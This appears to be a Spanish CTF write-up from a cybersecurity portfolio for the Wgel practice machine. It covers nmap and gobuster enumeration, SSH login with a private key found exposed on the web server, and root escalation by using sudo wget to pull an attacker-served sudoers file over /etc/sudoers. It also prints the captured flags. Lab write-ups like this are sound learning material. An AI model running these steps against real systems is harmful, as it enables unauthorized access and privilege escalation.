Portfolio de Ciberseguridad

Writeups de máquinas vulnerables

Wgel CTF

Wgel CTF


Fase 1 — Enumeración

Fase 1.1 — Nmap Port Scan

Comando ejecutado:

nmap -sC -sV -oN wgel_ctf.nmap <TARGET_IP>

Puertos descubiertos:

Puerto Servicio Versión
22/tcp SSH OpenSSH 7.2p2 Ubuntu
80/tcp HTTP Apache 2.4.18 Ubuntu

Hallazgos:

fase1.1_nmap_scan.png


Fase 1.2 — Enumeración Web

Comando 1 — Gobuster puerto 80:

# [MÁQUINA ATACANTE]
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50

Directorios descubiertos:

fase1.2_gobuster_80.png


Comando 2 — Revisión del código fuente de la página principal:

http://<TARGET_IP>

Accedemos a la página principal y revisamos el código fuente con clic derecho → Ver código fuente.

Hallazgos:

fase1.2_index_source.png


Comando 3 — Gobuster en /sitemap:

# [MÁQUINA ATACANTE]
gobuster dir -u http://<TARGET_IP>/sitemap -w /usr/share/wordlists/dirb/common.txt -t 50

Directorios descubiertos:

fase1.2_gobuster_sitemap.png


Comando 4 — Acceso al directorio .ssh:

http://<TARGET_IP>/sitemap/.ssh/

Hallazgos:

fase1.2_ssh_directory.png

fase1.2_id_rsa_web.png


Fase 2 — Foothold

Fase 2.1 — Acceso SSH como jessie

Comando ejecutado:

# [MÁQUINA ATACANTE]
wget http://<TARGET_IP>/sitemap/.ssh/id_rsa
chmod 600 id_rsa
ssh -i id_rsa jessie@<TARGET_IP>

Hallazgos:

fase2.1_ssh_jessie.png


Fase 2.2 — User Flag

Comando ejecutado:

# [MÁQUINA OBJETIVO]
find / -name "user_flag.txt" 2>/dev/null
cat /home/jessie/Documents/user_flag.txt

User Flag:

057c67131c3d5e42dd5cd3075b198ff6

fase2.2_user_flag.png


Fase 3 — Escalada de Privilegios

Fase 3.1 — Identificación del vector PrivEsc (GTFOBins)

Consultamos GTFOBins tras identificar con sudo -l que jessie puede ejecutar /usr/bin/wget como root sin contraseña.

GTFOBins nos indica dos vectores de explotación con wget:

fase3.1_gtfobins_wget_detail.png

fase3.1_gtfobins_upload.png

fase3.1_gtfobins_download.png


Fase 3.2 — Creación de sudoers malicioso

Comando ejecutado:

# [MÁQUINA ATACANTE]
echo "jessie ALL=(ALL) NOPASSWD: ALL" > sudoers
python3 -m http.server 8080

fase3.2_python_server.png


Fase 3.3 — Sobrescritura de /etc/sudoers

Comando ejecutado:

# [MÁQUINA OBJETIVO]
sudo wget http://<ATTACKER_IP>:8080/sudoers -O /etc/sudoers

fase3.3_wget_sudoers.png


Fase 3.4 — Root Shell y Root Flag

Comando ejecutado:

# [MÁQUINA OBJETIVO]
sudo su
whoami
cat /root/root_flag.txt

Root Flag:

b1b968b37519ad1daa6408188649263d

fase3.4_root_shell.png

Gengar